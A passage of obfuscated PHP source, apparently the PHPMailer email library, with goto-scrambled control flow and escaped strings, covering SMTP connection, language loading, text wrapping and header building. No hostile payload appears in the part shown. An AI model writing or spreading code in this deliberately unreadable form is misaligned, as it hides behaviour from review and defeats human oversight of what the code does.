=> $to[0]]; goto n3OB6; kqPbw: $isSent = true; goto ZidYJ; XyCma: if (!$this->smtp->recipient($to[0], $this->dsn)) { goto iAejy; } goto kqPbw; hakWE: $error = $this->smtp->getError(); goto F3S4v; I4QBG: } goto JLkIJ; fhFUA: Y2Cm9: goto ulKFG; JLkIJ: cibLk: goto fhFUA; ulKFG: } goto xECoH; KUS4_: if ('' == $this->Sender) { goto w0ilg; } goto mTVn0; RWLY0: BSTFg: goto jjyvh; kvG11: $this->setError($this->lang("\x66\162\157\x6d\x5f\146\141\x69\x6c\145\144") . $smtp_from . "\40\x3a\x20" . implode("\54", $this->smtp->getError())); goto Qcu0X; t9ofB: wPPAL: goto I3mHG; zJ1IJ: $smtp_from = $this->From; goto RWLY0; bOtjh: zzGfy: goto UGH5_; HIyrh: $errstr = ''; goto eKDeY; zGemK: if ($this->smtpConnect($this->SMTPOptions)) { goto vEd6S; } goto ZddZO; iSrM1: jLkz_: goto oSYhH; ZddZO: throw new Exception($this->lang("\x73\x6d\x74\160\137\143\157\x6e\156\x65\143\164\x5f\146\x61\151\154\x65\x64"), self::STOP_CRITICAL); goto c4_tG; PvsDc: I8rrM: goto rswnI; mTVn0: $smtp_from = $this->Sender; goto JfUPu; rjx5I: aC2k0: goto xAP8D; ydSOZ: w0ilg: goto zJ1IJ; fIoF6: goto zzGfy; goto DBOmT; xAP8D: $smtp_transaction_id = $this->smtp->getLastTransactionID(); goto ZOeIg; oSYhH: $callbacks = []; goto UBKUJ; sKJh2: $this->smtp->close(); goto fIoF6; Karol: throw new Exception($this->lang("\144\141\164\141\137\x6e\157\164\137\x61\x63\143\145\160\164\x65\144"), self::STOP_CRITICAL); goto rjx5I; tcxku: } public function smtpConnect($options = null) { goto HZDcz; jhBqB: $this->smtp->close(); goto FT3aE; yYZVv: $hosts = explode("\73", $this->Host); goto JWLuM; E9Ozv: return true; goto gNQ88; IeXc_: throw $lastexception; goto caak1; gNQ88: TwXvc: goto VDqJ4; HZDcz: if (!(null === $this->smtp)) { goto evCta; } goto jZDSB; fTm18: foreach ($hosts as $hostentry) { goto IX7bt; B4zzU: $port = $this->Port; goto heSTG; r4H9Q: if (!($tport > 0 and $tport < 65536)) { goto Gj4FL; } goto qpjIs; heSTG: $tport = (int) $hostinfo[4]; goto r4H9Q; YoSzH: goto FE3Db; goto sjYhm; GNCsI: nunBH: goto DmyH1; yhHim: RiO5w: goto lkN7A; ChXLz: wR8Rd: goto GrbRX; fdiiv: $prefix = "\x73\163\x6c\x3a\57\57"; goto M8Oex; be9VU: $tls = true; goto C0Bno; IX7bt: $hostinfo = []; goto nMnbg; m8_pL: goto v6nNk; goto JhvF2; q_LY9: try { goto xgXPE; xgXPE: if ($this->Helo) { goto lCEfe; } goto Wevtj; ZYb_k: throw new Exception($this->lang("\x61\165\164\150\x65\156\164\151\x63\141\x74\x65")); goto jL4v1; DdWrJ: OdQsb: goto mo9JA; jL4v1: HKebn: goto DdWrJ; Wevtj: $hello = $this->serverHostname(); goto D9OEi; FYY4m: throw new Exception($this->lang("\143\x6f\x6e\x6e\x65\143\x74\137\x68\157\163\x74")); goto L6rxq; nEzFE: if (!$this->SMTPAuth) { goto OdQsb; } goto W2TQU; RtVvc: $this->smtp->hello($hello); goto gDcIS; mo9JA: return true; goto CjEqz; dGVTe: zNcYM: goto m0xEm; m0xEm: if (!$tls) { goto Xwbgm; } goto ekSI1; MwxgO: MrGht: goto RtVvc; vqv0M: Xwbgm: goto nEzFE; D9OEi: goto MrGht; goto We6bn; p0ePi: $hello = $this->Helo; goto MwxgO; We6bn: lCEfe: goto p0ePi; ekSI1: if ($this->smtp->startTLS()) { goto UCwOT; } goto FYY4m; gDcIS: if (!($this->SMTPAutoTLS and $sslext and "\163\x73\x6c" != $secure and $this->smtp->getServerExt("\x53\x54\101\122\124\124\114\123"))) { goto zNcYM; } goto EyiCh; okuGn: $this->smtp->hello($hello); goto vqv0M; L6rxq: UCwOT: goto okuGn; W2TQU: if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { goto HKebn; } goto ZYb_k; EyiCh: $tls = true; goto dGVTe; CjEqz: } catch (Exception $exc) { goto Wkkal; N19lE: $this->smtp->quit(); goto ZNz3a; Rg_Wm: $this->edebug($exc->getMessage()); goto N19lE; Wkkal: $lastexception = $exc; goto Rg_Wm; ZNz3a: } goto ChXLz; M8Oex: $tls = false; goto JAqf3; LYcwG: if (!$this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { goto wR8Rd; } goto q_LY9; nMnbg: if (preg_match("\x2f\136\50\x28\163\163\154\174\164\154\x73\51\72\134\57\134\x2f\51\52\50\133\x61\x2d\x7a\x41\55\132\60\55\x39\x5c\56\55\135\x2a\x7c\x5c\x5b\x5b\x61\55\146\101\55\x46\x30\x2d\x39\72\x5d\53\x5c\135\51\72\x3f\x28\x5b\x30\55\x39\135\x2a\x29\x24\57", trim($hostentry), $hostinfo)) { goto nunBH; } goto LuFe1; qpjIs: $port = $tport; goto Gmgai; leQbb: $host = $hostinfo[3]; goto B4zzU; grIoj: $secure = $this->SMTPSecure; goto ndiak; Hu3Jd: U3fbM: goto fdiiv; sjYhm: hR64X: goto f9RsH; ovkBM: goto v6nNk; goto Hu3Jd; V8pHS: throw new Exception($this->lang("\x65\170\x74\145\x6e\163\x69\157\156\137\x6d\x69\x73\163\151\x6e\147") . "\157\160\x65\x6e\163\x73\x6c", self::STOP_CRITICAL); goto yhHim; f9RsH: $prefix = ''; goto grIoj; bi15k: static::edebug($this->lang("\x63\x6f\156\x6e\x65\143\164\x5f\x68\x6f\x73\164") . "\40" . $hostentry); goto YoSzH; C0Bno: $secure = "\x74\154\x73"; goto EyAjq; DmyH1: if (static::isValidHost($hostinfo[3])) { goto hR64X; } goto bi15k; LuFe1: static::edebug($this->lang("\143\x6f\156\x6e\145\143\x74\x5f\x68\157\163\164") . "\x20" . $hostentry); goto Q47h1; EyAjq: v6nNk: goto SWRls; Gmgai: Gj4FL: goto LYcwG; ndiak: $tls = "\164\x6c\163" == $this->SMTPSecure; goto Z7JLR; Z7JLR: if ("\x73\163\x6c" == $hostinfo[2] or '' == $hostinfo[2] and "\163\x73\x6c" == $this->SMTPSecure) { goto U3fbM; } goto U52Ha; SWRls: $sslext = defined("\x4f\120\105\x4e\x53\x53\114\x5f\x41\114\x47\117\x5f\x53\110\101\62\65\66"); goto jOODb; GrbRX: FE3Db: goto jvcOU; JhvF2: D0Dl7: goto be9VU; Q47h1: goto FE3Db; goto GNCsI; jOODb: if (!("\x74\154\163" === $secure or "\163\163\x6c" === $secure)) { goto Ehcp0; } goto Hn1RU; JAqf3: $secure = "\x73\x73\154"; goto m8_pL; lkN7A: Ehcp0: goto leQbb; Hn1RU: if ($sslext) { goto RiO5w; } goto V8pHS; U52Ha: if ("\164\x6c\163" == $hostinfo[2]) { goto D0Dl7; } goto ovkBM; jvcOU: } goto EFu69; MEsgC: if (!$this->smtp->connected()) { goto TwXvc; } goto E9Ozv; re3pF: qOqyC: goto MEsgC; EtCSF: $this->smtp->setVerp($this->do_verp); goto yYZVv; jZDSB: $this->smtp = $this->getSMTPInstance(); goto qZUHe; WRBji: $this->smtp->setDebugLevel($this->SMTPDebug); goto Mpsl1; Mpsl1: $this->smtp->setDebugOutput($this->Debugoutput); goto EtCSF; XVw8L: $options = $this->SMTPOptions; goto re3pF; caak1: LisBf: goto zElSr; e9VD1: if (!(null === $options)) { goto qOqyC; } goto XVw8L; FT3aE: if (!($this->exceptions and null !== $lastexception)) { goto LisBf; } goto IeXc_; qZUHe: evCta: goto e9VD1; EFu69: JnPOS: goto jhBqB; VDqJ4: $this->smtp->setTimeout($this->Timeout); goto WRBji; zElSr: return false; goto mvJ4t; JWLuM: $lastexception = null; goto fTm18; mvJ4t: } public function smtpClose() { goto g2Npl; PK9D3: sICq2: goto ITYrT; OhVA_: $this->smtp->close(); goto waWCG; aoa91: if (!$this->smtp->connected()) { goto mRaq8; } goto XO1z9; waWCG: mRaq8: goto PK9D3; g2Npl: if (!(null !== $this->smtp)) { goto sICq2; } goto aoa91; XO1z9: $this->smtp->quit(); goto OhVA_; ITYrT: } public function setLanguage($langcode = "\145\x6e", $lang_path = '') { goto V6x44; H6vtI: return (bool) $foundlang; goto ML4P7; wbFvd: lvTCP: goto RTmm4; QFZsQ: uDh6t: goto guZnj; PSRZw: if (preg_match("\57\x5e\x5b\x61\55\172\135\x7b\x32\x7d\x28\x3f\x3a\x5f\133\141\55\172\101\x2d\x5a\x5d\x7b\62\x7d\51\x3f\x24\x2f", $langcode)) { goto uDh6t; } goto d3R08; nwfJM: $foundlang = false; goto wbFvd; EYLha: $this->language = $PHPMAILER_LANG; goto H6vtI; R_Mqr: EdNQo: goto PSRZw; CfjSQ: if (!isset($renamed_langcodes[$langcode])) { goto g5h22; } goto i63iF; V6x44: $renamed_langcodes = ["\x62\162" => "\160\164\x5f\x62\162", "\143\x7a" => "\x63\x73", "\x64\153" => "\144\141", "\156\x6f" => "\x6e\142", "\x73\x65" => "\163\x76", "\162\x73" => "\163\x72", "\x74\x67" => "\164\154"]; goto CfjSQ; i63iF: $langcode = $renamed_langcodes[$langcode]; goto DWxjH; d3R08: $langcode = "\x65\x6e"; goto QFZsQ; Z30RU: goto lvTCP; goto M1mSS; vg9Do: if (!static::isPermittedPath($lang_file) || !file_exists($lang_file)) { goto lf2SL; } goto NHOBT; M1mSS: lf2SL: goto nwfJM; NHOBT: $foundlang = (include $lang_file); goto Z30RU; pAp3H: $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . "\154\x61\x6e\x67\x75\x61\147\145" . DIRECTORY_SEPARATOR; goto R_Mqr; FPIXe: $PHPMAILER_LANG = ["\141\x75\x74\x68\x65\x6e\x74\x69\x63\x61\164\x65" => "\x53\x4d\124\120\x20\105\162\162\157\x72\x3a\40\103\x6f\x75\154\x64\40\156\157\164\x20\x61\x75\164\x68\145\x6e\x74\x69\143\x61\x74\x65\56", "\x63\157\x6e\x6e\145\143\x74\137\x68\x6f\163\x74" => "\123\115\124\120\40\x45\x72\x72\157\x72\x3a\40\103\157\x75\154\x64\40\156\157\164\x20\143\157\156\x6e\145\143\x74\40\x74\x6f\x20\x53\115\124\120\x20\x68\x6f\163\x74\56", "\x64\141\164\x61\137\156\x6f\x74\x5f\141\x63\x63\x65\x70\x74\145\x64" => "\x53\115\124\120\x20\105\162\x72\157\x72\x3a\40\x64\141\x74\x61\40\x6e\x6f\164\x20\141\143\x63\x65\x70\164\145\x64\56", "\145\155\x70\x74\171\x5f\155\x65\163\x73\x61\x67\x65" => "\x4d\x65\x73\x73\141\147\145\x20\142\157\x64\x79\40\x65\155\160\x74\x79", "\145\x6e\x63\x6f\144\151\156\147" => "\125\156\153\156\157\167\x6e\40\x65\156\x63\157\144\151\x6e\147\72\x20", "\x65\x78\145\143\x75\164\x65" => "\x43\157\x75\x6c\144\x20\156\157\164\40\145\x78\x65\143\x75\164\145\72\x20", "\x66\151\x6c\x65\x5f\141\143\143\145\163\x73" => "\x43\157\165\x6c\x64\40\156\x6f\x74\x20\141\x63\x63\145\163\163\x20\x66\151\x6c\145\x3a\x20", "\146\151\x6c\145\137\x6f\160\145\156" => "\x46\151\154\145\x20\105\162\x72\157\162\x3a\40\x43\x6f\165\x6c\144\x20\156\157\x74\40\x6f\x70\x65\x6e\40\x66\x69\154\145\x3a\x20", "\x66\162\x6f\155\x5f\x66\x61\x69\x6c\x65\144" => "\x54\150\145\40\x66\157\154\154\157\x77\151\x6e\147\x20\x46\162\157\x6d\40\141\x64\x64\x72\145\x73\163\x20\x66\x61\151\x6c\x65\x64\x3a\40", "\x69\x6e\x73\x74\141\156\x74\151\x61\164\145" => "\103\x6f\165\154\144\40\156\157\164\x20\x69\156\163\x74\141\156\x74\151\x61\x74\145\x20\x6d\x61\151\154\40\x66\x75\x6e\x63\x74\x69\x6f\156\56", "\151\156\166\141\154\x69\144\137\x61\x64\x64\x72\x65\163\163" => "\111\x6e\166\x61\x6c\151\144\40\141\x64\x64\162\x65\x73\163\x3a\x20", "\x6d\141\151\x6c\145\162\137\156\x6f\x74\x5f\x73\165\160\x70\157\x72\x74\x65\144" => "\x20\x6d\x61\x69\x6c\x65\162\x20\151\x73\40\156\157\164\40\163\165\160\160\x6f\x72\164\x65\144\56", "\160\162\157\166\151\x64\145\x5f\x61\x64\x64\x72\145\163\163" => "\x59\x6f\x75\40\x6d\x75\x73\164\x20\x70\x72\x6f\166\151\x64\145\40\141\164\40\154\145\141\x73\164\40\x6f\156\145\40\x72\x65\x63\x69\160\x69\145\156\x74\x20\145\x6d\141\151\154\x20\141\x64\x64\162\145\163\x73\56", "\x72\x65\x63\x69\160\151\145\x6e\164\x73\137\146\141\x69\x6c\145\144" => "\123\115\x54\x50\x20\105\162\162\x6f\x72\72\40\x54\150\x65\x20\x66\x6f\154\154\157\x77\x69\156\147\40\162\x65\x63\151\160\x69\145\156\x74\163\40\x66\x61\151\x6c\x65\x64\x3a\40", "\163\151\x67\x6e\x69\x6e\147" => "\x53\151\x67\156\151\x6e\147\x20\105\x72\x72\x6f\x72\x3a\x20", "\163\155\164\160\137\x63\157\x6e\x6e\x65\143\x74\137\x66\x61\x69\x6c\145\x64" => "\x53\115\x54\x50\40\143\157\x6e\156\145\x63\164\x28\51\40\x66\141\x69\x6c\x65\144\56", "\163\x6d\x74\160\x5f\x65\x72\x72\157\x72" => "\x53\x4d\x54\120\40\x73\145\x72\166\145\162\x20\x65\162\x72\x6f\162\x3a\x20", "\x76\141\x72\151\x61\x62\x6c\x65\137\163\x65\164" => "\103\141\x6e\x6e\x6f\x74\x20\163\x65\x74\x20\157\162\x20\162\x65\x73\x65\164\40\166\x61\162\x69\x61\142\154\x65\x3a\x20", "\x65\170\164\145\x6e\163\x69\x6f\x6e\137\155\x69\x73\x73\151\156\x67" => "\105\170\164\x65\x6e\x73\x69\x6f\x6e\x20\155\151\x73\163\x69\x6e\x67\x3a\x20"]; goto cP1Vx; RU2IS: if (!("\145\x6e" != $langcode)) { goto SVbzF; } goto vg9Do; RTmm4: SVbzF: goto EYLha; guZnj: $foundlang = true; goto hJox9; hJox9: $lang_file = $lang_path . "\x70\x68\160\155\x61\x69\x6c\x65\x72\x2e\154\x61\156\147\x2d" . $langcode . "\56\x70\150\160"; goto RU2IS; cP1Vx: if (!empty($lang_path)) { goto EdNQo; } goto pAp3H; DWxjH: g5h22: goto FPIXe; ML4P7: } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { goto fPYbs; fPYbs: $addresses = []; goto zTO6A; zTO6A: foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); EE6Hq: } goto TTX4Y; wX3yn: return $type . "\x3a\x20" . implode("\54\x20", $addresses) . static::$LE; goto dkTCF; TTX4Y: hwcvg: goto wX3yn; dkTCF: } public function addrFormat($addr) { goto R82M0; R82M0: if (!empty($addr[1])) { goto JthyE; } goto zquzK; xN9nd: JthyE: goto CJ3jx; zquzK: return $this->secureHeader($addr[0]); goto xN9nd; CJ3jx: return $this->encodeHeader($this->secureHeader($addr[1]), "\160\x68\162\x61\x73\145") . "\40\74" . $this->secureHeader($addr[0]) . "\76"; goto hjUXy; hjUXy: } public function wrapText($message, $length, $qp_mode = false) { goto rrpsB; yIuWo: dmZDI: goto HFSV7; pMwJH: $message = substr($message, 0, -$lelen); goto NG3iy; HFSV7: return $message; goto cN7WJ; ainzK: $crlflen = strlen(static::$LE); goto iJ71a; NG3iy: NAlm2: goto oK8P9; Od4DF: $lelen = strlen(static::$LE); goto ainzK; iJ71a: $message = static::normalizeBreaks($message); goto ibTzI; oK8P9: $lines = explode(static::$LE, $message); goto lg2qa; LsEgx: foreach ($lines as $line) { goto Kp3PV; Kp3PV: $words = explode("\40", $line); goto fRLQj; u15qz: $message .= $buf . static::$LE; goto JEeJO; xBR32: foreach ($words as $word) { goto Ci6hM; g3D4E: $message .= $buf . $soft_break; goto QMRgU; B9jMt: TJNq7: goto YETT2; vgo69: $buf = ''; goto KP_xm; UYjzC: if ("\x3d" == substr($word, $len - 1, 1)) { goto So8pw; } goto vIIrD; kxryD: a9sx5: goto vgo69; lrFIk: if (!(strlen($word) > 0)) { goto poL2R; } goto JMLhY; agZTS: mAEcG: goto Aolli; qcO7z: $buf_o = $buf; goto j2vjv; uMBQR: v0FBO: goto qqq_1; IjfXu: --$len; goto MaiDX; W4DN3: alhQM: goto wbps2; cpzHE: S4L2O: goto Qvzlo; vwXNk: KfFbP: goto fVDrW; jj8fH: rDFGQ: goto lrFIk; P5R1a: JkJCv: goto PBX_n; HxQZS: poL2R: goto agZTS; gHotI: Xa5Iv: goto e3IP3; q0Hj4: $buf .= "\x20"; goto wl5R4; OCq_N: qTmax: goto KZmm_; K6gKS: goto WibEM; goto uLLvv; bCwVI: $len = $length; goto EWCGZ; mq27o: So8pw: goto IjfXu; KV8Jt: $word = substr($word, $len); goto Bdkks; H8TF7: if ("\75" == substr($word, $len - 2, 1)) { goto TJNq7; } goto Y2cAE; Y2cAE: goto JkJCv; goto vwXNk; jqrv9: goto qTmax; goto mq27o; PBX_n: $part = substr($word, 0, $len); goto MvJsD; MaiDX: goto qTmax; goto cpzHE; Ci6hM: if ($qp_mode and strlen($word) > $length) { goto v0FBO; } goto qcO7z; mzb0I: $buf = $part; goto K6gKS; WkvRT: $message .= $buf_o . $soft_break; goto r3Wtk; MfDdB: goto poL2R; goto DUEzS; AuSib: if (!(strlen($buf) > $length and '' != $buf_o)) { goto BEc_K; } goto WkvRT; qqq_1: $space_left = $length - strlen($buf) - $crlflen; goto UaiNf; UaiNf: if ($firstword) { goto J_9Ly; } goto IkWu9; Qvzlo: $len -= 2; goto OCq_N; r8nV1: if (strlen($word) > 0) { goto asaMG; } goto mzb0I; YDBPi: if ($is_utf8) { goto RR2w5; } goto UYjzC; JMLhY: if (!($length <= 0)) { goto ufpLz; } goto MfDdB; j2vjv: if ($firstword) { goto UmLgG; } goto q0Hj4; DUEzS: ufpLz: goto bCwVI; IkWu9: if ($space_left > 20) { goto Xa5Iv; } goto g3D4E; vIIrD: if ("\75" == substr($word, $len - 2, 1)) { goto S4L2O; } goto Tpmub; wl5R4: UmLgG: goto RNGtD; zTH42: BEc_K: goto PHTDp; KZmm_: $part = substr($word, 0, $len); goto KV8Jt; ErWqQ: goto JkJCv; goto zcXqH; PHTDp: goto mAEcG; goto uMBQR; SI0z8: WibEM: goto VsLKc; YETT2: $len -= 2; goto P5R1a; sRRAp: $message .= $part . sprintf("\75\x25\x73", static::$LE); goto SI0z8; EWCGZ: if ($is_utf8) { goto KfFbP; } goto IITTO; uLLvv: asaMG: goto sRRAp; Bdkks: $buf .= "\40" . $part; goto JQ5rc; RNGtD: $buf .= $word; goto AuSib; JQ5rc: $message .= $buf . sprintf("\75\45\x73", static::$LE); goto kxryD; VsLKc: goto rDFGQ; goto HxQZS; fVCVt: goto JkJCv; goto B9jMt; KP_xm: J_9Ly: goto jj8fH; qt73p: RR2w5: goto DeCIy; zcXqH: mcauN: goto L_0uw; Aolli: $firstword = false; goto W4DN3; QMRgU: goto a9sx5; goto gHotI; IITTO: if ("\75" == substr($word, $len - 1, 1)) { goto mcauN; } goto H8TF7; r3Wtk: $buf = $word; goto zTH42; Tpmub: goto qTmax; goto qt73p; DeCIy: $len = $this->utf8CharBoundary($word, $len); goto jqrv9; MvJsD: $word = substr($word, $len); goto r8nV1; e3IP3: $len = $space_left; goto YDBPi; fVDrW: $len = $this->utf8CharBoundary($word, $len); goto ErWqQ; L_0uw: --$len; goto fVCVt; wbps2: } goto qeqJ_; Jp21l: $firstword = true; goto xBR32; qeqJ_: RDRcF: goto u15qz; JEeJO: zcDQE: goto YrkUy; fRLQj: $buf = ''; goto Jp21l; YrkUy: } goto yIuWo; O1cy9: PyaVf: goto iW74q; rrpsB: if ($qp_mode) { goto dK3ZI; } goto UMEaK; lg2qa: $message = ''; goto LsEgx; iW74q: $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet); goto Od4DF; UMEaK: $soft_break = static::$LE; goto aUKci; W_7Qh: dK3ZI: goto lKwrn; lKwrn: $soft_break = sprintf("\x20\75\45\163", static::$LE); goto O1cy9; aUKci: goto PyaVf; goto W_7Qh; ibTzI: if (!(substr($message, -$lelen) == static::$LE)) { goto NAlm2; } goto pMwJH; cN7WJ: } public function utf8CharBoundary($encodedText, $maxLength) { goto Ph2Qk; Ln2IB: if ($dec >= 192) { goto EAHdn; } goto F7iz5; D2Ovn: goto kyeEi; goto BLe5c; xFoIP: if ($foundSplitPos) { goto NRebK; } goto Sg_Ar; Bxq1U: if (!($encodedCharPos > 0)) { goto eiBSG; } goto tmVBE; tmVBE: $maxLength -= $lookBack - $encodedCharPos; goto xwWac; iYulO: fI18q: goto U30Wy; Ph2Qk: $foundSplitPos = false; goto YxnGh; xwWac: eiBSG: goto XxUYX; JWVHH: $foundSplitPos = true; goto pF4IX; pF4IX: goto kyeEi; goto iYulO; lZm5o: goto ABEn1; goto TEvSj; cX34v: $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); goto DvIpE; XxUYX: $foundSplitPos = true; goto D2Ovn; S_TYb: goto AmE6l; goto t05Kx; DvIpE: $dec = hexdec($hex); goto jdd85; Es7WF: wKDzP: goto Bxq1U; wAGF2: kyeEi: goto ltTTb; YxnGh: $lookBack = 3; goto ofa4l; NPVZc: $encodedCharPos = strpos($lastChunk, "\75"); goto FVI4h; U30Wy: $lookBack += 3; goto wAGF2; Sg_Ar: $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); goto NPVZc; ltTTb: ABEn1: goto S_TYb; t05Kx: NRebK: goto Rg4D0; FVI4h: if (false !== $encodedCharPos) { goto VzpEq; } goto SEwhz; SEwhz: $foundSplitPos = true; goto lZm5o; FvbOx: goto kyeEi; goto Es7WF; BLe5c: EAHdn: goto kjtHW; ofa4l: AmE6l: goto xFoIP; kjtHW: $maxLength -= $lookBack - $encodedCharPos; goto JWVHH; F7iz5: if ($dec < 192) { goto fI18q; } goto FvbOx; TEvSj: VzpEq: goto cX34v; Rg4D0: return $maxLength; goto NtwIO; jdd85: if ($dec < 128) { goto wKDzP; } goto Ln2IB; NtwIO: } public function setWordWrap() { goto FhRyC; y8dSz: return; goto p3xax; UvPEi: switch ($this->message_type) { case "\141\154\164": case "\141\154\164\x5f\x69\156\x6c\x69\x6e\x65": case "\x61\154\x74\137\x61\164\164\x61\143\150": case "\x61\x6c\x74\137\x69\x6e\x6c\x69\x6e\x65\137\x61\164\x74\141\x63\150": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); goto Yukrr; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); goto Yukrr; } goto oorXO; iSw1k: Yukrr: goto kSO8e; oorXO: zCTC1: goto iSw1k; FhRyC: if (!($this->WordWrap < 1)) { goto p_CGg; } goto y8dSz; p3xax: p_CGg: goto UvPEi; kSO8e: } public function createHeader() { goto a42y7; aBs31: mvPXr: goto jlB7z; UK6h4: tK281: goto W0PAZ; UBr4P: goto mvPXr; goto Qwyk1; cMUmf: goto G9Vcf; goto dVQmF; q2SuL: G9Vcf: goto XpUA_; w8_kY: H_orN: goto vzr0f; d7cJg: goto cXqvk; goto UK6h4; FSxTP: $this->lastMessageID = sprintf("\74\x25\x73\x40\45\163\x3e", $this->uniqueid, $this->serverHostname()); goto cMUmf; if1NF: if (count($this->to) > 0) { goto AaxfF; } goto LFMQu; NV30U: if (!(count($this->cc) > 0)) { goto zktlh; } goto YemQc; a42y7: $result = ''; goto H0NxH; ayPFL: if (!$myXmailer) { goto nbvY2; } goto A4OXI; dVQmF: Aysbp: goto ldTwr; v7ZXI: DFthe: goto V7ggG; jxggE: foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); xbtqJ: } goto liP30; A4OXI: $result .= $this->headerLine("\x58\x2d\115\141\151\154\145\162", $myXmailer); goto OEAw1; pDNxr: if ('' != $this->MessageID and preg_match("\x2f\x5e\74\56\52\100\x2e\x2a\x3e\x24\57", $this->MessageID)) { goto Aysbp; } goto FSxTP; TXOOR: $result .= $this->getMailMIME(); goto v7ZXI; UMTPl: if (!(("\x73\x65\156\x64\155\x61\x69\x6c" == $this->Mailer or "\x71\x6d\x61\x69\x6c" == $this->Mailer or "\x6d\141\151\154" == $this->Mailer) and count($this->bcc) > 0)) { goto kJu1C; } goto Vg_zs; t7ag2: eQaaH: goto qFwtY; W0PAZ: $result .= $this->headerLine("\130\55\x4d\141\x69\x6c\x65\x72", "\120\110\x50\115\141\151\x6c\145\162\40" . self::VERSION); goto jAOAL; WjO9B: $result .= $this->headerLine("\130\55\120\x72\x69\157\x72\x69\x74\171", $this->Priority); goto w8_kY; B_Ute: if (!("\155\x61\151\154" != $this->Mailer)) { goto LwMv9; } goto LZeZH; q34Ni: kJu1C: goto QCUtY; rYLYn: if (!(null !== $this->Priority)) { goto H_orN; } goto WjO9B; gjIUk: $result .= $this->headerLine("\x53\165\x62\x6a\x65\x63\x74", $this->encodeHeader($this->secureHeader($this->Subject))); goto C63Ka; liP30: gsL1j: goto E7sfX; Qwyk1: AaxfF: goto B_Ute; uh7oR: if ($this->sign_key_file) { goto DFthe; } goto p5zVu; E7bP4: Kg6yi: goto jcALT; lm2hG: J2MlY: goto ttDmK; lsGfR: zktlh: goto UMTPl; LFMQu: if (count($this->cc) == 0) { goto Kg6yi; } goto UBr4P; Se5Br: $result .= $this->addrAppend("\106\162\x6f\155", [[trim($this->From), $this->FromName]]); goto NV30U; XpUA_: $result .= $this->headerLine("\115\x65\163\163\141\x67\145\55\111\104", $this->lastMessageID); goto rYLYn; JEySu: foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); F7lRQ: } goto L8O6w; QCUtY: if (!(count($this->ReplyTo) > 0)) { goto eQaaH; } goto wCf00; H0NxH: $result .= $this->headerLine("\104\141\164\145", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate); goto uJVpM; wCf00: $result .= $this->addrAppend("\122\145\x70\x6c\x79\x2d\124\157", $this->ReplyTo); goto t7ag2; luvEx: goto mvPXr; goto E7bP4; OEAw1: nbvY2: goto d7cJg; E7sfX: R_68I: goto SkknN; henMS: LwMv9: goto luvEx; W_4Nw: $myXmailer = trim($this->XMailer); goto ayPFL; Vg_zs: $result .= $this->addrAppend("\x42\143\143", $this->bcc); goto q34Ni; jlB7z: goto uAlch; goto lm2hG; GGj3N: $result .= $this->headerLine("\x44\x69\x73\160\157\x73\151\164\x69\x6f\x6e\x2d\x4e\x6f\164\151\x66\151\x63\141\x74\151\x6f\156\x2d\x54\157", "\x3c" . $this->ConfirmReadingTo . "\76"); goto Q2uGo; V7ggG: return $result; goto dSXuB; uJVpM: if ($this->SingleTo) { goto J2MlY; } goto if1NF; L8O6w: eSV_I: goto uh7oR; Q2uGo: A1GuL: goto JEySu; C63Ka: aukkf: goto pDNxr; SkknN: uAlch: goto Se5Br; qFwtY: if (!("\155\141\x69\154" != $this->Mailer)) { goto aukkf; } goto gjIUk; p5zVu: $result .= $this->headerLine("\x4d\x49\115\105\x2d\126\145\162\x73\151\x6f\x6e", "\x31\x2e\60"); goto TXOOR; jcALT: $result .= $this->headerLine("\x54\157", "\x75\156\x64\x69\163\x63\x6c\157\x73\x65\144\55\162\145\x63\151\160\x69\x65\156\x74\163\72\x3b"); goto aBs31; fIxiS: if (!('' != $this->ConfirmReadingTo)) { goto A1GuL; } goto GGj3N; YemQc: $result .= $this->addrAppend("\103\x63", $this->cc); goto lsGfR; jAOAL: cXqvk: goto fIxiS; ldTwr: $this->lastMessageID = $this->MessageID; goto q2SuL; LZeZH: $result .= $this->addrAppend("\124\x6f", $this->to); goto henMS; ttDmK: if (!("\155\141\151\154" != $this->Mailer)) { goto R_68I; } goto jxggE; vzr0f: if ('' == $this->XMailer) { goto tK281; } goto W_4Nw; dSXuB: } public function getMailMIME() { goto u9Zof; nC1th: $ismultipart = true; goto VtWeQ; VtWeQ: switch ($this->message_type) { case "\x69\156\154\151\156\145": goto LhBPh; ULQfB: goto Tv8Uq; goto R1mY1; awH7o: $result .= $this->textLine("\11\142\157\x75\x6e\144\141\x72\171\75\x22" . $this->boundary[1] . "\42"); goto ULQfB; LhBPh: $result .= $this->headerLine("\x43\157\x6e\x74\x65\156\164\x2d\x54\x79\160\x65", static::CONTENT_TYPE_MULTIPART_RELATED . "\x3b"); goto awH7o; R1mY1: case "\141\164\x74\141\143\150": case "\151\156\x6c\x69\x6e\145\x5f\x61\x74\x74\x61\x63\150": case "\141\x6c\164\x5f\x61\x74\164\x61\x63\x68": case "\141\154\x74\137\151\x6e\154\151\x6e\x65\137\141\x74\x74\x61\x63\x68": goto BN89g; qo6g5: $result .= $this->textLine("\x9\142\x6f\165\x6e\144\141\x72\171\75\x22" . $this->boundary[1] . "\42"); goto Lt9YI; BN89g: $result .= $this->headerLine("\x43\157\156\164\145\156\x74\x2d\124\171\x70\145", static::CONTENT_TYPE_MULTIPART_MIXED . "\73"); goto qo6g5; Lt9YI: goto Tv8Uq; goto YOp1k; YOp1k: case "\x61\x6c\x74": case "\141\154\164\x5f\x69\x6e\154\151\x6e\x65": goto OjviQ; HqTQo: goto Tv8Uq; goto YXhjW; Tbuhb: $result .= $this->textLine("\11\x62\x6f\x75\x6e\144\x61\162\x79\75\x22" . $this->boundary[1] . "\x22"); goto HqTQo; OjviQ: $result .= $this->headerLine("\103\x6f\156\164\x65\156\164\55\124\x79\160\x65", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . "\x3b"); goto Tbuhb; YXhjW: default: goto BoUzF; qANOi: goto 